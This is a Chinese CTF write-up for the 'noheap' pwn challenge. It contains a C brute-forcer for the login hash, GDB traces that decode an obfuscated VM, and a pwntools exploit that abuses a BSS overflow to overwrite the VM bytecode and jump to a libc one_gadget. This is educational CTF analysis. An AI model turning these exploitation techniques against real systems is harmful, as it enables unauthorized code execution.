-
-
[原创]noheap
-
2018-6-26 23:33 2576
-
这道题首先需要登录,给了一个hash出来。
通过逆向可知,拿到4个随机byte后映射到了[0x30303030, 0x5a5a5a5a],之后做了一些hash算法。hash算法不太重要,因为这个范围可以直接爆破。
#include <stdio.h> #include "defs.h" unsigned int calc(unsigned int *a1) { *a1 = 0x343FD * *a1 + 0x269EC3; return *a1; } __int64 hash(char *buf, int len) { char *v2; // rax int len_; // [rsp+0h] [rbp-1Ch] char *buf_; // [rsp+4h] [rbp-18h] unsigned int v6; // [rsp+14h] [rbp-8h] buf_ = buf; len_ = len; v6 = 0; do { v2 = buf_++; v6 = 0x83 * v6 + (unsigned __int8)*v2; --len_; } while ( len_ > 0 ); return v6; } void hexdump(unsigned char* buf, size_t size) { int i,j; for (i = 0;i < size;i += 16) { for (j = i;j < size && j < i + 16;j++) { printf("%02x", buf[j]); } puts(""); } } int main(int argc, char *argv[]) { unsigned int randint; // [rsp+10h] [rbp-50h] unsigned int tmp; char s1[8]; unsigned int v5; // [rsp+1Ch] [rbp-44h] unsigned int dst = (unsigned int)atoi(argv[1]); for (randint = 0x30303030; randint <= 0x5a5a5a5a; ++randint) { tmp = randint; *(_DWORD *)s1 = calc(&tmp); *(_DWORD *)&s1[4] = calc(&tmp); v5 = hash(s1, 8); if (v5 == dst) { //printf("%x", randint); hexdump(s1, 8); return 0; } } return 0; }
继续看题。
核心逻辑在0x1470
处,注意到这里跳转是跳到一个奇怪的地址0x1107
上,跟过去发现是一个vm。
回头看,发现跳转目标是异或计算得来,输入的选项也被用来计算取值了,那么init_array
里面应该有东西。0xCB5
这里做了初始化工作,用随机值和函数地址异或,发到一张表里。跳转时就是从表里取值,并且同时给0x203140
写了一些值。简单看一眼vm,发现0x203140
就是vmcode。
略过vm,先看堆操作逻辑。可以看到0x1674
有明显溢出,size设0即可同时溢出堆和bss。不过因为更新全局变量在后,所以覆盖不了0x203240
全局变量,否则可覆盖指针。
show
和free
写的很死,而且分配时还限制了size,无法走house of orange的套路,那么堆溢出不可行了,应该走bss了。
堆溢出仍然可行,见https://bbs.pediy.com/thread-229401.htm
动态调试观察bss,发现0x203140
可以覆盖,也就是说可以控制vmcode。那么这题就变成vm逆向题了。
直接动态调试猜测vm逻辑,下命令断在0x118E
,走一次malloc的逻辑,追出rax和vm结构体内容,再稍加猜测、标注结构体,如下:
01 03 13 01 0f 04 06 01 09 14 01 02 13 16 00 40 Breakpoint 1, 0x000055555555518e in ?? () 01 03 vm.reg = 3 rax 0x555555555190 93824992235920 0x7fffffffdcb0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdce0: 0x0000000000000001 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 13 vm.call = (&vm)[-vm.reg] rax 0x5555555553e5 93824992236517 0x7fffffffdcb0: 0x0000000000000002 0x0000000000000000 0x7fffffffdcc0: 0x0000000000000003 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdce0: 0x0000000000000013 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 01 0f vm.reg = 0x0f rax 0x555555555190 93824992235920 0x7fffffffdcb0: 0x0000000000000003 0x0000555555555107 0x7fffffffdcc0: 0x0000000000000003 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdce0: 0x0000000000000001 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 04 vm.off = code[reg] rax 0x55555555520c 93824992236044 0x7fffffffdcb0: 0x0000000000000005 0x0000555555555107 0x7fffffffdcc0: 0x000000000000000f 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000000 0x0000000000000000 0x7fffffffdce0: 0x0000000000000004 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 06 vm.call += vm.off rax 0x55555555524f 93824992236111 0x7fffffffdcb0: 0x0000000000000006 0x0000555555555107 0x7fffffffdcc0: 0x000000000000000f 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000040 0x0000000000000000 0x7fffffffdce0: 0x0000000000000006 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 01 09 vm.reg = 0x09 rax 0x555555555190 93824992235920 0x7fffffffdcb0: 0x0000000000000007 0x0000555555555147 0x7fffffffdcc0: 0x000000000000000f 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000040 0x0000000000000000 0x7fffffffdce0: 0x0000000000000001 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 14 (&vm)[-vm.reg] = vm.call rax 0x55555555540f 93824992236559 0x7fffffffdcb0: 0x0000000000000009 0x0000555555555147 0x7fffffffdcc0: 0x0000000000000009 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000040 0x0000000000000000 0x7fffffffdce0: 0x0000000000000014 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 01 02 vm.reg = 2 rax 0x555555555190 93824992235920 0x7fffffffdcb0: 0x000000000000000a 0x0000555555555147 0x7fffffffdcc0: 0x0000000000000009 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000040 0x0000000000000000 0x7fffffffdce0: 0x0000000000000001 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 13 vm.call = (&vm)[-vm.reg] rax 0x5555555553e5 93824992236517 0x7fffffffdcb0: 0x000000000000000c 0x0000555555555147 0x7fffffffdcc0: 0x0000000000000002 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000040 0x0000000000000000 0x7fffffffdce0: 0x0000000000000013 0x0000000000000000 Breakpoint 1, 0x000055555555518e in ?? () 16 jmp vm.call rax 0x55555555544c 93824992236620 0x7fffffffdcb0: 0x000000000000000d 0x00005555555555e4 0x7fffffffdcc0: 0x0000000000000002 0x0000000000000000 0x7fffffffdcd0: 0x0000000000000040 0x0000000000000000 0x7fffffffdce0: 0x0000000000000016 0x0000000000000000
那么走这个vm,就可以任意控制pc,并且可以从栈上读取现成的值,再观察最后一步跳转到实际malloc逻辑的栈情况,发现one_gadget可用。于是思路就是从栈上拿一个libc地址出来,做偏移得出one_gadget,跳转即可:
vm.reg = 13 # 01 0d vm.call = vm[-reg] = write+16 # 13 vm.reg = 8 # 01 08 vm.off = code[reg] = 24953 # 04 vm.call -= vm.off # 05 jmp vm.call # 16 01 0d 13 01 08 04 05 16 p64(24953)
最后利用脚本如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * def login(): r.recvuntil('Hash:') dst = int(r.recvline(), 16) info(dst) r.recvuntil('Input:') os.system("./hack %d > hash" % dst) r.send(unhex(read('hash')) + '\x00') #r.send(unhex(raw_input('#').strip()) + '\x00') def add(size, data): r.sendlineafter('>> ', '1') r.sendafter(':', str(size).ljust(16, '\x00')) r.sendafter(':', flat(data)) def exploit(r): login() add(0, ['A'*0x80, '\x01\x0d\x13\x01\x08\x04\x05\x16', 24953]) r.sendlineafter('>> ', '1') r.interactive()
总体说来此题漏洞明显,hash爆破和vm逆向也比较轻松。
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。